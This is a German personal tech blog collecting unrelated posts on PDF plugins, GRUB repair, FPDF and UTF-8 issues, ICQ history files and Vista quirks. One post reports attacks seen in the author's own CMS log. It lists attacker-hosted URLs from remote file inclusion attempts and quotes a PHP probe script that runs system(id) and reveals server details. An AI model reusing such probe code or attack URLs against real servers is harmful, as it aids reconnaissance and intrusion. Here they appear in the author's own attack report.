Damit der Safari unter Mac PDFs nicht mehr mit dem Adobe Reader bzw. Adobe Acrobat Pro startet, sind folgende Schritte zu erledigen:

1. Starten von Adobe Reader bzw. Adobe Acrobat Pro
2. Klicke auf Hilfe
3. Klicke auf „Adobe Reader-Installation reparieren“
4. In dem neuen Fenster den Hacken bei „Adobe PDFViewer Safari-Plug-in“ entfernen (siehe Bild)
5. bestätigen
6. Alle PDF Programme schließen (inklusive Safari)

Fertig

Bild 1: Adobe PDFViewer Safari-Plug-in ausschalten

Auf einen meiner Server läuft ein von mir geschriebenes CMS, dass ein Verlaufsprotokoll besitzt und demzufolge alles mitprotokolliert.

Nun ist es so, dass einer dieser Server seit dem 24.04.09 ständig von irgendwelchen Bots (gehe ich von aus) angegegriffen wird.

Vielleicht weiß ja einer von euch, was sich hinter diesen URLS verbirgt:

http://www.cdl-df.com.br/liquida/fotos/id.txt

http://memphisbeersandwines.com/idv6.txt

http://www.laurent-camping-cars.com//administrator/components/drivid.txt

http://ecology45.t35.com/idv6.txt

http://www.top-master.nsk.ru/awstats/cgi-bin/lang/tooltips_w/id.txt

http://80.24.176.145/time//appserv/file.txt

http://74.208.173.138:4443/index.html

http%3A%2F%2Fstoneproperties.co.uk%2Falbum%2Fincludes%2Fnohul%2Fnuqa%2F

http://www.clubnataciotortosa.com/UserFiles/Media/ulagoh/opika/

http://schoolpapers.hostinginfive.com/bike.htm

http://www.winewise.de///administrator/components/com_virtuemart/uiu.txt

http://ats-usa.net//styles/i/id.txt

http://www.stahuj-foto.eu//foto/nahledy/Tomy25-d3c396eabbf0e1c59e2ee3dcc/id.txt

[edit]

http://144.206.186.112:2666/index.html

Das ist der Inhalt der meisten Textdateien:

<?php
function ConvertBytes($number) {
$len = strlen($number);
if($len = 4 && $len = 7 && $len <=9) {
return sprintf(„%0.2f Mb“, $number/1024/1024);
}
return sprintf(„%0.2f Gb“, $number/1024/1024/1024);
}

echo „Osirys“;
$un = @php_uname();
$id1 = system(id);
$pwd1 = @getcwd();
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));

if (!$free) {
$free = 0;
}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {
$all = 0;
}

$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;
echo „0sirys was here ..“;
echo „uname -a: $un“;
echo „os: $os“;
echo „id: $id1″;
echo „free: $free“;
echo „used: $used“;
echo „total: $all“;

exit;
?>

Das Script ist eigentlich total harmlos, jedoch das „exit“ ist ein Problem. Wenn ein Angreifer es, wie auch immer, schaffen sollte, diese Datei auf dem Server schreiben zu können, dann stoppt das exit meine Webseite.

Hier ein Auszug aus meiner Verlaufsübersicht:

Angriff aus dem Netz

Weiß einer, woher dieser Kram kommt????

[edit]

Ich habe gerade in einem Forum von folgendem Begriff gelesen: PHP remote upload exploit

Nach einer Wiederherstellung meiner Windows Vista Version auf meinem Acer Notebook meldete mein Grub beim Starten des Computers die Fehlernummer 17. Der Rechner bleibt stehen, ich kann kein Betriebssystem starten. Mithilfe der von mir selbst erstellten Acer Recovery DVDs kann ich nur den Auslieferunszustand wiederherstellen, nicht jedoch eine Konsole zum neusreiben nutzen.

Folgender Weg hat bei mir funktioniert:

Ich startete eine Live Ubuntu Version (8.04) und öffnete die Konsole (Terminal). Nun muss man diese Befehle eintippen:

• sudo grub
• grub> find /boot/grub/stage1   // als Ausgabe steht dort z.B. (hd0,2)
• grub> root (hdX,Y)     // die vorher ausgegebenen Variablen X und Y in den Befehl einsetzten, z.B. root(hd0,2)
• grub> setup (hd0)
• grub> quit
• exit

Nun habe ich meinen alten Bootlader wieder zurück und alles klappt wunderbar.

fpdf

Bei meiner Umstellung auf UTF-8 musste ich herausfinden, dass FPDF standardmässig kein UTF-8 unterstützt. Auch wenn man die Datei, die mir die PDF erzeugt, auf UTF-8 umstellt, bleiben die Umlaute dennoch „falsch“. Klar, meine Daten, die ich in die Variablen speichere sind alle in UTF-8. Dagegen hilft aber diese Funktion:

utf8_decode()

Und nun funktioniert alles wieder. In meinem konkreten Fall hatte ich diese Schwierigkeiten mit Session Variablen (PHP), die aus einer MYSQL Datenbank mit Daten gefüttert wurden. Der einfache Aufruf der Variablen zeigte mir ausschließlich Fragezeichen anstelle meiner Umlaute und Sonderzeichen an. Mithilfe von

utf8_decode($_SESSION[value][x1]);

war mein Problem beseitig.

[EDIT 2008-10-18]

Nun kam ich wieder in die Situtation, dass die Ausgabe „fehlerhaft“ war. („Mülheim“)

So sah mein Code vorher aus:

$pdf->Cell(0,0,$_POST[plz].“ „.$_POST[stadt],0,1);

und mit utf8_decode() so:

$pdf->Cell(0,0,$_POST[plz].“ „.utf8_decode($_POST[stadt]),0,1);

Randdaten

• PHP Version 4.4
• Notepad als Editor
• Notepad++ als Editor

Da ich Probleme mit den Umlauten in einigen von PHP ausgegebenen Webseiten hatte, beschloss ich alle Dateien in UTF-8 statt ASCI zu speichern. Das hat auch prima funktioniert, alle Umlaute wurden angezeigt, doch ein Haken blieb:

Warning: session_start() [function.session-start]: Cannot send session cache limiter – headers already sent (output started at /var/www/index.php:1) in /var/www/scripte/config.php on line 4

Der Grund ist nach langem suchen gefunden: Wenn man eine Datei als UTF-8 abspeichert, wird, zumindest beim Notepad, am Anfang der Datei der „Byte Order Mark“ geschrieben. Das hat zur Folge, dass „die BOM zur Ausgabe von Zeichen [führt], so dass ohne „output buffering“ keine HTTP-Header mehr geändert werden können.“ (Auszug aus Wikipedia)

Das Byte Order Mark wird benutzt, um zu klären, in welchem UTF Format die Datei gespeichert ist (UTF-8, UTF-16, etc).

In einem Forum habe ich gelese, dass ein

header(‘Content-Type: text/html; charset=utf-8′);

geholfen hat. Bei mir klappt das nicht.

Ich lass die Umlaute vorerst so wie sie sind. Ich kümmere mich später um dieses Problem.

EDIT:
Es gibt doch einen Weg
Wenn man den Notepad++ nutzt, kann man unter dem Menüpunkt „Format“ auf „UTF-8 Ohne BOM“ schalten. Damit ist das Dokument auf UTF-8 geschaltet, zeigt mir alle Umlaute an und der Header wird korrekt ausgeführt.

Notepad++ Bei der Umschaltung auf UFT-8 ohne BOM

Informationen

• Was ist UTF-8
• Byte Order Mark
• Notepad ++ bei Sourceforge

Um die Verlaufsdateien zu löschen, muss die Datei „Messages.mdb“ gelöscht werden. Bei den Pfaden zu der Datei ersetzt folgende Werte mit euren Werten:

Benutzername = Benutzername des angemeldeten Benutzers unter Windows
ICQ NR = Die ICQ Nr. des zu löschenen Verlaufs

Die Datei mit allen ICQ Verläufen findet ihr unter Windows XP hier

C:\Dokumente und Einstellungen\Benutzername \Anwendungsdaten\ICQ\ICQNR\Messages.mdb

und unter Windows VISTA hier:

C:\Users\Benutzername \AppData\Roaming\ICQ\ICQNR\Messages.mdb

Einfach die Datei löschen und ICQ neu starten und schwubbs sind alle Verläufe gelöscht.

Beim starten von ICQ wird die Datei wieder neu angelegt.

Hinweis
Der Ordner „AppData“ ist unsichtbar. Nur wenn man unsichtbare Ordner einschaltet, sind diese sichtbar.

Randdaten

• FPDF Version 1.53
• PHP 4
• JpGraph 1.26

 

Um von JpGraph generierte Grafiken in ein von FPDF erstelltes PDF Dokument einbinden zu können, funktioniert es nicht einfach das JpGraph Script in das FPDF Script einzubinden. Die Funktion

$graph->Stroke();

erstellt die Grafik und gibt nur diese aus – die PDF wird nicht erzeugt.

Um dennoch Grafiken einzubinden, muss man die von JpGraph erstellte Grafik in eine Datei speichern und diese dann mit FPDF aufrufen. Abspeichern von Grafiken funktioniert zum Beispiel mit

$graph->Stroke(„test.jpeg“);

Durch die Angabe des Dateinamens wird die Datei in dem Verzeichnis erzeugt und kann dann mit FPDF aufgerufen werden:

$pdf->Image(‘test.jpg’,16,82,183);

Abb1: FPDF Fehler mit JPEG Dateien

Bei meiner FPDF Version bekomme ich eine Fehlermeldung (siehe Abb1). Auch beim Versuch die jpeg Datei mit Photoshop zu öffnen, gibt es eine Fehlermeldung:

Der Vorgang konnte nicht ausgeführt werden, weil ein unbekannter oder ungültiger JPEG-Marker gefunden wurde.

Da ich keine Ahnung habe, wie man dieses Problem umgeht, erstelle ich meine Diagramme nun als PNG. FPDF stellt PNG Datei genauso gut da, wie JPEG Dateien

Hey, da ist doch mal was lustiges passiert.

Auf einer kleinen LAN Party funktionierten plötzlich ein paar Boxen nicht mehr. Es stellte sich schnell heraus, dass der Besitzer dieser Boxen ein Cinch Kabel von seinem PC aus an die Kupferdrähte seiner Lautsprecher zusammengeklebt hat.

verknotete Lautsprecherkabel

Es stellte sich heraus, dass der Erdungsanschluss eines der beiden Cinch Kabel abgebrochen war. Berühte man die Spitze der Cinch Kabel mit einem Lautsprecherkabel und fasste man zugleich das andere Lautsprecherkabel an, so hörte sich der Ton der Boxen völlig normal an. Wenn man das Kabel losgelassen hat, war der Ton entweder weg oder mit einem starken Brummen versehen. Wir nahmen an, dass wir durch das Anfassen der Kabel genügend Erdung ermöglichten.

Wir haben also den Cinch Anschluss abgeschnitten und die beiden Drähte an die beiden anderen Lautsprecherkabel drangeknotet. Das funktionierte auch soweit ganz gut, nur hörte man ein sehr starkes Brummen. Wenn wir ein Kabel gefasst haben, war der Ton wieder vollkommen in Ordnung. Wir haben also die Kabel versucht mit Kreppband zu isolieren. (siehe Foto) Hat nicht funktioniert.

Also haben wir folgende Symptome:

• Knotet man die Kabel der Lautsprecher an das Cinchkabel an, hört man ein Brummen
• Es brummt auch, als wir den Cinchanschluss abgeschnitten haben und die Kabel direkt an die anderen Kabel drangeknotet haben
• Fasst man nur ein Kabel an, ist der Ton in Ordnung

 

Das haben wir überhaupt nicht kapiert… Aber es gab auch eine Lösung dafür…

Es stellte sich heruas, dass das Kabel nicht richtig angeschlossen war. Es war nur noch zur Hälfte in der Lautsprecherbuchse der Soundkarte eingesteckt.

Hat jemand eine Ahnung, warum die Boxen überhaupt funktioniert haben, wenn man nur ein Kabel einfässt, OBWOHL das Lautsprecherkabel nicht richtig eingesteckt war???

Für Kommentare dazu danke ich im vorraus

Hey, super. Es gibt für das Anzeigen der Vista Sidebar eine Tastenkombination und zwar:

WINDOWS + G

Auf meinem Acer Notebook mit den Werkstreibern und der vollkommen unberührten Vista Home Premium 32Bit Installation wird der „Microsoft-ISATAP-Adapter“ mit einem gelben Ausrufezeichen im Gerätemanager angezeigt.

Die Meldung

Das Gerät funktioniert nicht ordnungsgemäß, da Windows die für das Gerät erforderlichen Treiber nicht laden kann. (Code 31)

Die Treiber werden in den Treiberdetails angezeigt (C:\Windows\system32\DRIVERS\tunnel.sys) und sind auch digital signiert.

Das Resultat

Nach meinen Recherchen handelt es sich hierbei um kein Problem, sondern ist ein Bug von Vista. Das Gerät funktioniert einwandfrei (siehe Microsoft Support).

Für alle Interessierten: Der ISATAP-Adapter ist dafür zuständig, dass „der Client IPv6-Datenverkehr über eine IPv4-Infrastruktur transportieren“ kann. Dadurch ist es u.a. Unternehmen möglich, einfach und kosteneffizient von IP4 Protokollen zu IP6 zu wechseln.